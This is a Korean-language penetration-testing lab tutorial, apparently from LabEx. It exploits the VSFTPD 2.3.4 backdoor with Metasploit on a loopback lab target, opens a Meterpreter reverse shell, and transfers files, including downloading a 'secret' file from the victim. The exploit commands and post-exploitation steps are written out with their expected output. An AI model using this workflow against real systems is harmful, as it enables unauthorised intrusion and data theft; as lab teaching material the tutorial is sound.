소개
이 실습에서는 Metasploit 프레임워크를 사용한 사후 침투 (Post-Exploitation) 의 기초를 배웁니다. 먼저 취약한 FTP 서버를 공격하여 초기 접근 권한을 획득하고 Meterpreter 세션을 생성합니다. 그 후 사후 침투 단계로 넘어가 침투된 시스템을 탐색하고, 권한을 상승시키며, 데이터를 탈취하는 과정을 진행합니다.
Meterpreter 의 필수 명령어를 사용하여 세션과 상호작용하고, 셸 명령을 실행하며, 공격자와 피해자 시스템 간에 파일을 전송하는 연습을 하게 됩니다. 이 실습은 초기 공격부터 기본적인 사후 침투 기술까지 단계별로 안내합니다.
초기 접근 권한 획득
이 단계에서는 VSFTPD 2.3.4 서비스의 백도어를 공격하여 대상 시스템에 접근합니다. 이를 통해 사후 침투를 위한 Meterpreter 세션을 확보하게 됩니다.
먼저 Metasploit 프레임워크 콘솔을 실행합니다.
msfconsole -q
Metasploit 이 실행되면 VSFTPD 2.3.4 백도어 공격 모듈을 선택합니다.
use exploit/unix/ftp/vsftpd_234_backdoor
이제 대상 및 페이로드 옵션을 구성합니다. 서비스가 동일한 머신에서 실행 중이므로 루프백 IP 를 사용합니다. 기본 페이로드는 LHOST를 필요로 하며 "All encoders failed to encode" 오류가 발생할 수 있으므로, 이를 방지하기 위해 인코더를 설정합니다.
set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none
마지막으로 공격을 실행합니다.
exploit
문제 해결:
Msf::OptionValidateError One or more options failed to validate: LHOST오류가 발생하면set LHOST 127.0.0.1을 실행하세요.All encoders failed to encode오류가 발생하면set Encoder generic/none을 실행한 후 다시exploit을 실행하세요.
경고: 첫 번째 시도에서 "Unable to connect to backdoor on 6200/TCP. Cooldown?" 또는 "Exploit completed, but no session was created."와 같은 오류가 발생할 수 있습니다. 이 경우
exploit명령을 다시 실행하면 두 번째 시도에서 성공할 것입니다.
성공하면 Meterpreter 세션 (세션 1) 이 열립니다.
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
이제 Meterpreter 세션을 확보했습니다. 다음 단계를 위해 msf > 프롬프트로 돌아가려면 Ctrl+Z를 누른 후 "Background session 1?"이라는 질문에 y를 입력하세요.
Meterpreter 세션과 상호작용
백그라운드에 Meterpreter 세션이 생성되었으므로, 이제 이 세션과 상호작용하는 방법을 배웁니다. sessions 명령은 활성 세션 목록을 보여주며, Meterpreter 내부가 아닌 메인 Metasploit 프롬프트 (msf exploit(...) >) 에서만 작동합니다.
활성 세션을 확인하려면 다음을 실행하세요.
sessions
ID 가 1인 Meterpreter 세션이 표시될 것입니다.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
세션 1 과 상호작용하려면 다음을 실행하세요.
sessions -i 1
프롬프트가 meterpreter >로 변경되어 세션 내부에 있음을 나타냅니다.
[*] Starting interaction with 1...
meterpreter >
이제 Meterpreter 내부에서 사후 침투 명령을 실행할 준비가 되었습니다.
shell 명령으로 셸 실행
Meterpreter 내부에서 표준 시스템 셸로 전환하여 대상 시스템에서 명령을 실행할 수 있습니다. 이는 셸 전용 명령이나 스크립트를 실행해야 할 때 유용합니다.
meterpreter > 프롬프트에서 다음을 입력하세요.
shell
원격 대상에 표준 셸이 열립니다. 프롬프트가 잠시 멈춘 것처럼 보일 수 있지만, 이제 시스템 셸에 진입했으므로 직접 명령을 실행할 수 있습니다.
Process 1654 created.
Channel 1 created.
whoami를 실행하여 현재 사용자 컨텍스트를 확인하세요.
whoami
labex
exit를 입력하여 Meterpreter 프롬프트로 돌아갑니다.
exit
프롬프트가 다시 meterpreter >로 변경됩니다. 다음 단계에서는 이 세션을 사용하여 대상 시스템에 파일을 업로드합니다.
upload 명령으로 파일 업로드
Meterpreter 의 upload 명령은 로컬 머신에서 대상 시스템으로 파일을 전송합니다. /home/labex/project 디렉토리에 local_file.txt라는 파일이 있습니다. 이를 원격 머신의 /tmp로 업로드하세요.
meterpreter > 프롬프트에서 다음을 실행하세요.
upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt
업로드가 완료되었음을 알리는 출력이 표시됩니다.
[*] Uploading : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
이 실습에서는 대상이 동일한 머신에서 실행 중이므로 파일이 /tmp/uploaded_file.txt에 나타납니다. 다음으로, 반대 작업인 대상 시스템에서 파일 다운로드를 연습합니다.
download 명령으로 파일 다운로드
download 명령은 대상 시스템에서 로컬 머신으로 파일을 전송합니다. 원격 시스템의 /tmp에 secret_data.txt라는 파일이 있습니다. 이를 프로젝트 디렉토리로 다운로드하세요.
meterpreter > 프롬프트에서 다음을 실행하세요.
download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt
다운로드가 완료되었음을 알리는 출력이 표시됩니다. Meterpreter 는 downloaded_secret.txt라는 디렉토리를 생성하고 그 안에 secret_data.txt라는 이름으로 파일을 저장할 수 있습니다.
[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
이제 파일이 로컬 머신에 저장되었습니다. 마지막 단계에서는 세션을 종료하고 다운로드된 내용을 확인합니다.
exit 명령으로 세션 종료
마지막 단계에서는 Meterpreter 세션을 닫고 Metasploit 콘솔을 종료합니다.
meterpreter > 프롬프트에서 exit를 입력하여 세션을 닫습니다.
exit
[*] Shutting down session: 1
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
Metasploit 콘솔을 종료하려면 exit를 입력하세요. 활성 세션에 대한 메시지가 나타나면 exit -y를 사용하여 강제 종료합니다.
exit -y
다운로드된 파일을 확인합니다. 앞서 언급했듯이 Meterpreter 가 디렉토리를 생성했을 수 있으므로, 파일은 downloaded_secret.txt/secret_data.txt에 위치합니다.
cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.
축하합니다! 전체 공격 및 사후 침투 워크플로우를 성공적으로 완료했습니다.
요약
이 실습에서는 초기 접근부터 사후 침투까지의 전체 워크플로우를 학습했습니다. 공격을 통해 Meterpreter 세션을 획득하는 것으로 시작하여, 세션 목록 확인 및 상호작용 방법, Meterpreter 에서 표준 시스템 셸을 획득하는 방법, 그리고 upload 및 download 명령을 사용하여 공격자와 피해자 머신 간에 파일을 전송하는 방법을 익혔습니다. 마지막으로 세션을 올바르게 종료하고 Metasploit 콘솔을 나가는 방법을 배웠습니다. 이러한 기술은 모의 해킹의 기초가 됩니다.



